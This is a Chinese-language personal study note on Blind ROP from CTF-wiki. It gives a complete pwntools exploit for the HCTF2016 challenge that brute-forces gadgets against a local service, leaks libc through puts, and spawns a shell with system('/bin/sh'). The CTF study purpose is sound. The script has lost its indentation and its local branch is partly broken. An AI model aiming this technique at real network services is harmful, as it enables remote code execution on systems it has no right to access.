PWN

CTFwiki for PWN|Intermediate ROP

不适合人类阅读,非常水的自我笔记

Posted by Elli0t on 2020-05-13

Pwntools 新知识:

python 异常处理

Python 异常处理

Python startswith()方法

output.startswith('No password')
Python startswith() 方法用于检查字符串是否是以指定子字符串开头,如果是则返回 True,否则返回 False。如果参数 beg 和 end 指定值,则在指定范围内检查。

drop

sh.recvuntil('\nWelCome',drop = True)
drop( bool)–删除结尾。如果True将其从返回值的末尾删除。

index

data = data[:data.index("\nWelCome")]
data.index(‘\nWelCome’) 寻找 data 中的首次出现 \nWelCome 的位置。
所以此结构是删除 data 中的含有 \nWelCome 的结尾

Pwn 新知识:

BROP

BROP gadgets 像 BROP 这样的一下子弹出 6 个寄存器的 gadgets,程序中并不经常出现。所以,如果我们发现了这样的 gadgets,那么,有很大的可能性,这个 gadgets 就是 brop gadgets

  • 寻找
    • 找到弹出 6 个栈变量的 gadget,一般来说会遇到两处比较有意思的地方(所以要check)
      • plt 处不会崩
      • _start 处不会崩,相当于程序重新执行
  • check
    • 此时的 gadget 已经是找到的在其后面有6个任意字符串也不会崩溃的了。现在就是在它的后面将6个字符串变成更多个,看看会不会崩溃,如果回,则证明其不是 plt 或者 _start
  • 利用
    • 0x0 + 0x7 就成了 pop rsi; pop r15; ret;
    • 0x0 + 0x9 就成了 pop rdi; ret;
strcmp 的妙用

控制 RDX 通过 strcmp 函数

plt 表的结构

如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。

Ida 新知识:

可以用 ida 打开通过 puts 下来的字符串(其实是 ELF 本身)。利用 ida 打开 binary 模式,首先在 edit->segments->rebase program 将程序的基地址改为 0x400000,然后找到偏移 0x560 处,如下

1
2
3
4
5
6
seg000:0000000000400560                 db 0FFh
seg000:0000000000400561 db 25h ; %
seg000:0000000000400562 db 0B2h ;
seg000:0000000000400563 db 0Ah
seg000:0000000000400564 db 20h
seg000:0000000000400565 db 0

然后按下 c, 将此处的数据转换为汇编指令,如下

1
2
3
4
5
6
seg000:0000000000400560 ; ---------------------------------------------------------------------------
seg000:0000000000400560 jmp qword ptr cs:601018h
seg000:0000000000400566 ; ---------------------------------------------------------------------------
seg000:0000000000400566 push 0
seg000:000000000040056B jmp loc_400550
seg000:000000000040056B ; ---------------------------------------------------------------------------

这说明,puts@got 的地址为 0x601018。

HCTF2016 EXP


exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time

context.terminal=["tmux","sp","-h"]
context.log_level='debug'
DEBUG = 0
LOCAL = True
#BIN = ''
HOST = '127.0.0.1'
PORT = 9999
all_gadget = []
addr = 0x400000

def getbufferflow_length():
i = 1
while 1:
try:
sh = remote(HOST,PORT)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i*'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i -1
# 72

def get_stop_addr(length,addr):
while 1:
try:
sh = remote(HOST,PORT)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr)
sh.sendline(payload)
re = sh.recv()
if re.startswith('WelCome'):
print 'one success addr: 0x%x' % (addr)
return addr
sh.close()
addr += 1
except Exception:
addr += 1
print 'warning'
sh.close()

# 一下值都可以进行攻击
# 0x4005c0 ~ 0x4005de
# 0x4006b6

def get_brop_gadget(length,stop_gadget,addr):
try:
sh = remote(HOST,PORT)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False

def check_brop_gadget(length,addr):
try:
sh = remote(HOST,PORT)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True

def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote(HOST,PORT)
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr +=1

def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote(HOST,PORT)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index('\nWelCome')]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None

def exploit(sh):
# length = getbufferflow_length()
# print length
global addr
length = 72
# get_stop_addr(length,addr)
stop_gadget = 0x4006b6
# addr = 0x400740
# while 1:
# print hex(addr)
# if get_brop_gadget(length,stop_gadget,addr):
# print 'possible brop gadget: 0x%x' % addr
# if check_brop_gadget(length,addr):
# print 'success brop gadget: 0x%x' % addr
# break
# addr += 1
brop_gadget = 0x4007ba
rdi_ret = 0x4007ba + 0x9
# puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
# 得到 puts_plt = 0x400555,用此值也可以进行攻击
# wiki中说 : 根据 plt 的结构,选择 0x400560 作为 puts@plt
puts_plt = 0x400555
# result = ''
# while addr < 0x401000:
# print hex(addr)
# data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
# if data is None:
# continue
# else:
# result += data
# addr += len(data)
# with open('code.txt','wb') as f:
# f.write(result)
puts_got = 0x601018
sh = remote(HOST,PORT)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome',drop = True) # drop( bool)–删除结尾。如果True将其从返回值的末尾删除。
print data
puts_addr = u64(data.ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
return

if __name__ == '__main__':
#elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
#sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0]))
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)